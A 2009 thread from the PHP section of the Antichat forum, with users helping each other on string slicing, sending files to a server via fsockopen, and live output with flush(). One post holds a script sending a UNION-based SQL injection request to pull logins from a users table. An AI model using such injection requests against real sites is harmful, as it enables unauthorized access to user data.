HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 27.08.2009, 23:37
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами: 9541766

Репутация: 2407


По умолчанию

Linuxoid,
PHP код:
$n=6//сколько символов отрезать
$str=substr('твоя строка',-$n); 

Кубик Рубик,
Цитата:
Placeholder – 1. «Заполнитель». Представляет собой текстовый или графический элемент электронного шаблона страницы, заменяемый на практике реальным элементом. 2. Структурный нуль. Прочерк по причине бессмысленности присваивания некоторого значения, предусмотренного жестким форматом.

Последний раз редактировалось d_x; 27.08.2009 в 23:41..
 
Ответить с цитированием

  #2  
Старый 28.08.2009, 10:58
St0nX
Участник форума
Регистрация: 19.05.2007
Сообщений: 281
С нами: 9989619

Репутация: 106
По умолчанию

PHP код:
<?php
$fp 
fsockopen ("www.xxx.ru"80$errno$errstr30);
        if (!
$fp) {
} else { 
fputs($fp,"GET /next.php?id=5+union+select+1,2,login%20FROM%20pb_users%20limit%200,1%20-- HTTP/1.1/r/nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*/r/nAccept-Language: ru/r/nAccept-Encoding: gzip, deflate/r/nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/r/nHost: www.xxx.ru/r/nConnection: Keep-Alive/r/n/r/n");
        while (!
feof($fp)) {
            
$fp2 .=  fgets ($fp,128);
        }
        
fclose ($fp);
       echo 
$fp2
}
?>
Запрос возвращает 400 Bad Request. Сам текст запроса со снифера. В чем может быть проблема?
 
Ответить с цитированием

  #3  
Старый 28.08.2009, 11:13
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

может быть не те заголовки передаешь, сделай такой же запрос в FF + Tamper Data тебе всё расскажет
 
Ответить с цитированием

  #4  
Старый 28.08.2009, 11:22
Insane bboy
Познающий
Регистрация: 11.07.2009
Сообщений: 58
С нами: 8861249

Репутация: 6
По умолчанию

у меня вопрос такого плана:
хочу реализовать удаленное создание файлов на сервере, то есть на локал хосте я запускаю скрипт, он отправляет запрос на сервер, в данном случае это название файла и его содержимое(требуется создание файлов .html .txt .php)
пробывал эту информацию передавать POST'ом, открывал файлы обычно:
$fp = fopen("qwe.txt","r");
$dat = fwrite($fp, filesize("qwe.txt"));//это довольно грубый пример, в скрипте все открывалось циклом.
отправлял, отправлялось, но скрипт который должен получить переменные $name и $dat последняя переменная доходила очень сильно измененной, так вот собственно и вопрос:
как нормально передать, метод расматриваемый выше не думаю что будет рациональным решением моей проблемы, что кто посоветует????
 
Ответить с цитированием

  #5  
Старый 28.08.2009, 11:27
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

делать тоже самое по фтп и не парить мозг, создавать файлы на сервере, да к тому же включая .php, через php-скрипт-приемник просто небезопасно и чревато, а через фтп потребуется лишь локальный скрипт в пять строчек
 
Ответить с цитированием

  #6  
Старый 28.08.2009, 11:51
Insane bboy
Познающий
Регистрация: 11.07.2009
Сообщений: 58
С нами: 8861249

Репутация: 6
По умолчанию

а если нет доступа к фтп???)
и чем это чревато?о0
тем более это расматривается для разового, единичного пользования, а не для ежедневной работы с файлами

Последний раз редактировалось Insane bboy; 28.08.2009 в 11:55..
 
Ответить с цитированием

  #7  
Старый 28.08.2009, 12:49
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

ну тогда можно например через fsockopen

http://ru.php.net/fsockopen

PHP код:
Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
        
// get the necessary data
        
$file_name $_FILES['userfile']['name'];     // the file
        
$tmp_name $_FILES['userfile']['tmp_name'];     // the file
        
$content_type $_FILES['userfile']['type'];     // the file mime type
        
        
srand((double)microtime()*1000000);
        
$boundary "---------------------".substr(md5(rand(0,32000)),0,10);
        
        
// Build the header
        
$header "POST $remote_url HTTP/1.0\r\n";
        
$header .= "Host: $remote_server\r\n";
        
$header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
        
// attach post vars
        
foreach($_POST AS $index => $value){
            
$data .="--$boundary\r\n";
            
$data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
            
$data .= "\r\n".$value."\r\n";
            
$data .="--$boundary\r\n";
        }
        
// and attach the file
        
$data .= "--$boundary\r\n";
        
$content_file join(""file($tmp_name));
        
$data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
        
$data .= "Content-Type: $content_type\r\n\r\n";
        
$data .= "".$content_file."\r\n";
        
$data .="--$boundary--\r\n";
        
$header .= "Content-length: " strlen($data) . "\r\n\r\n";
                 
// Open the connection
        
$fp fsockopen($remote_server80);
        
// then just 
        
fputs($fp$header.$data);
        
fclose($fp);
?>
предварительно создав на удаленном хосте скрипт загрузки файлов на сервер через обычную форму
 
Ответить с цитированием

  #8  
Старый 28.08.2009, 16:12
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
С нами: 9574565

Репутация: 712


По умолчанию

Как можно сделать вывод логов в реальном времени ?

Пример:
PHP код:
for($i 0$i 10$i++)
 {
   echo 
$i;
   
sleep(60);
  } 
Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
 
Ответить с цитированием

  #9  
Старый 28.08.2009, 17:16
Gray_Wolf
Постоянный
Регистрация: 07.03.2009
Сообщений: 357
С нами: 9042754

Репутация: 399
По умолчанию

Цитата:
Сообщение от geforse  
Как можно сделать вывод логов в реальном времени ?

Пример:
PHP код:
for($i 0$i 10$i++)
 {
   echo 
$i;
   
sleep(60);
  } 
Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
Давно пора свыкнуться с мыслью что написать демона на ПХП невозможно...

Так-что либо пишем его на другом языке, либо юзаем крон.
 
Ответить с цитированием

  #10  
Старый 29.08.2009, 00:48
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
С нами: 9213376

Репутация: 278
По умолчанию

Цитата:
Сообщение от geforse  
Как можно сделать вывод логов в реальном времени ?

Пример:
PHP код:
for($i 0$i 10$i++)
 {
   echo 
$i;
   
sleep(60);
  } 
Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
про flush(); забыли?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 17 (пользователей: 0 , гостей: 17)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.